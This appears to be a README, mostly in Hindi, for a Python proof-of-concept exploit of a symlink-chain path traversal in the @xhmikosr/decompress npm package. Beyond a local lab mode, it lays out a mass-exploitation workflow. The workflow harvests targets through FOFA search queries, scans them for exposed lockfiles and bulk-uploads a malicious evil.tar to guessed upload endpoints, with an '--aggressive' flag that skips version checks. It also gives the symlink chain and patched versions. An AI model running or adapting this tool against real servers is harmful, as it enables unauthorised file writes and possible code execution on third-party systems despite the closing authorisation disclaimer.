
CVE-2026-101894 के लिए Python PoC: @xhmikosr/decompress में symlink-chain path traversal। इसमें local Node lab, lockfile version scan, और mass evil.tar upload exploit शामिल है।
CVE-2026-101894 के लिए Python 3 PoC — @xhmikosr/decompress (और अपरिवर्तित decompress) में Node.js आर्काइव निष्कर्षण एक सिम्बॉलिक लिंक प्रविष्टियों की श्रृंखला के माध्यम से आउटपुट निर्देशिका के बाहर पढ़ने/लिखने की अनुमति देता है। यह CVE-2026-53486 कठोरता को अतिक्रमित करता है। CVSS 3.1 9.1 गंभीर।
| PoCbit | https://pocbit.org/pocs/cve-2026-101894 |
| Catalog | https://pocbit.org/pocs/ |
| Package | @xhmikosr/decompress (परिचालित), decompress (kevva, अपाच्ड) |
| API | डिफ़ॉल्ट decompress(input, output) |
| CWE | CWE-22 पथ ट्रावर्सल, CWE-59 लिंक फॉलोइंग |
| Fixed | 10.2.2 (10.x), 11.1.4 (11.x) |
| GHSA | GHSA-hrh2-vp3x-79xf |
decompress, tar/zip आदि आर्काइव्स को लक्ष्य फ़ोल्डर में निकालते समय लेक्सिकल पथ नियंत्रण लागू करता है; लेकिन क्रमिक सिम्बॉलिक लिंक प्रविष्टियों के साथ, कर्नेल बाद की प्रविष्टियों को आउटपुट निर्देशिका के बाहर हल कर सकता है। हमलावर नियंत्रित आर्काइव के साथ कॉन्फ़िग, स्टार्टअप स्क्रिप्ट या संवेदनशील फ़ाइलों पर लिख सकता है / पढ़ सकता है → RCE परिदृश्य (CI, कंटेनर, अपलोड+निष्कर्षण सेवाएं)।
@xhmikosr/decompress के लिए पैच: 10.2.2 और 11.1.4। पुराना decompress पैकेज 4.2.1 तक उसी वर्ग में है और पैच नहीं मिल रहा — @xhmikosr/[email protected]+ पर जाएं।
| Mode | Purpose |
|---|---|
--lab | lab/ में 11.1.3 स्थापित करता है, evil.tar सिम्बॉलिक लिंक श्रृंखला के साथ बाहर लिखना सत्यापित करता है |
--write-evil-tar | पेलोड आर्काइव को डिस्क पर लिखता है (POCBIT-101894-ESCAPED मार्कर) |
| check | दूरस्थ लक्ष्य पर package.json / लॉकफ़ाइल → संस्करण ≤ जोखिम भरा है? |
| exploit | सिम्बॉलिक लिंक-चेन evil.tar के साथ सामान्य अपलोड मार्गों पर POST (बल्क) |
| mass | --list + -j; hits.txt / exploited.txt |
दूरस्थ एक्सप्लॉइट यह साबित नहीं करता कि सर्वर ने वास्तव में आर्काइव को decompress के साथ खोला; 2xx अपलोड स्वीकृति + कमजोर संस्करण फिंगरप्रिंट को exploited माना जाता है। निश्चित प्रमाण के लिए --lab।
| Aşama | Ne kanıtlar |
|---|---|
| check → hits.txt | /package.json या /package-lock.json खुला है और इसमें कमजोर decompress मौजूद है |
| exploit → exploited.txt | PoC द्वारा आजमाए गए सामान्य अपलोड URL में से कम से कम एक ने HTTP 2xx लौटाया |
FOFA Express सूची में 500 स्कैन → 2 हिट सामान्य है। 2 हिट + 0 एक्सप्लॉइट (vulnerable_dep_no_upload_endpoint) भी सामान्य है: निर्भरता रिसाव ≠ सार्वजनिक आर्काइव अपलोड। इस CVE के दुरुपयोग के लिए ऐप के अनtrusted आर्काइव को decompress() के साथ खोलना आवश्यक है; HID / यादृच्छिक :8088 साइटों पर PoC के 8–11 डिफ़ॉल्ट मार्ग अक्सर नहीं होते हैं।
# Zincir kanıtı (lokal)
python poc.py --lab
# Hit’ler: sadece bağımlılık + upload denemesi
python poc.py --list hits.txt --mode exploit -j 2
# Beklenen: upload_ok=0, status vulnerable_dep_no_upload_endpoint
| Package | Vulnerable | Patched |
|---|---|---|
@xhmikosr/decompress 11.x | 11.0.0 – 11.1.3 | ≥ 11.1.4 |
@xhmikosr/decompress 10.x | < 10.2.2 | ≥ 10.2.2 |
decompress (kevva) | ≤ 4.2.1 | कोई नहीं — माइग्रेट करें |
cd CVE-2026-101894
pip install -r requirements.txt
लेब: PATH पर Node.js + npm (सिम्बॉलिक लिंक निष्कर्षण व्यवहार के लिए Linux/macOS अनुशंसित)।
python poc.py --lab
python poc.py --write-evil-tar evil.tar
python poc.py -u https://app.example --mode check
python poc.py --list targets.example.txt --mode check -j 30 --vuln-list hits.txt
python poc.py -u https://app.example --mode exploit --aggressive
python poc.py --list hits.txt --mode exploit -j 10 --aggressive --upload-paths /api/upload,/upload
| Flag | Meaning |
|---|---|
--lab | स्थानीय नोड निष्कर्षण PoC |
--aggressive | खुले संवेदनशील लॉकफ़ाइल के बिना भी एक्सप्लॉइट करें |
--upload-paths | कस्टमाइज़ कॉमा-सेपरेटेड POST मार्ग |
--exploited-list | वे लक्ष्य जहां अपलोड ने 2xx लौटाया |
सिम्बॉलिक लिंक श्रृंखला (सरलीकृत):
a/b/c/up → ../..a/b/escape → c/up/../..esc → ..…/pocbit_escape.txt with marker payloadयह 11.1.4 रिलीज नोट्स में वर्णित सिम्बॉलिक लिंक-चेन बायपास वर्ग से मेल खाता है (realpath / कंटेनमेंट फिक्स)।
FOFA JSON → python _format_fofa.py fofa_results_1000.json
→ fofa_results_1000.json (url), fofa_results_1000.csv, fofa_targets_1000.txt
python poc.py --list fofa_targets_1000.txt --mode check -j 40 → hits.txt
python poc.py --list fofa_results_1000.csv --mode check -j 40 # url column
python poc.py --list hits.txt --mode exploit -j 8 --aggressive → exploited.txt
अपलोड/ज़िप FOFA डार्क सूची (fofa_results_1000) एक्सप्लॉइट सतह के लिए केवल Express वाली 500 सूची से अधिक उपयुक्त है; फिर भी हिट = लॉकफ़ाइल + कमजोर decompress, एक्सप्लॉइट = अपलोड 2xx।
body="node_modules/@xhmikosr/decompress"
body="\"decompress\"" && body="package-lock.json"
header="X-Powered-By: Express" && body="/package.json"
(लॉकफ़ाइल उत्पादन में दुर्लभ रूप से सार्वजनिक होती है; जांच अक्सर स्टेजिंग, CI आर्टिफैक्ट्स, गलत कॉन्फ़िगर किए गए स्टैटिक होस्टिंग को पाती है।)
केवल उन सिस्टम का परीक्षण करें जिनका मूल्यांकन करने के लिए आप अधिकृत हैं। तृतीय-पक्ष उत्पादन सेवाओं पर दुर्भावनापूर्ण आर्काइव अपलोड न करें।
CVE-2026-101894 PoC: @xhmikosr/decompress सिम्बॉलिक लिंक-चेन आर्काइव पथ ट्रावर्सल (CVE-2026-53486 को अतिक्रमित करता है)। नोड लेब + लॉकफ़ाइल स्कैन + बल्क evil.tar अपलोड एक्सप्लॉइट। CVSS 9.1. https://pocbit.org/pocs/cve-2026-101894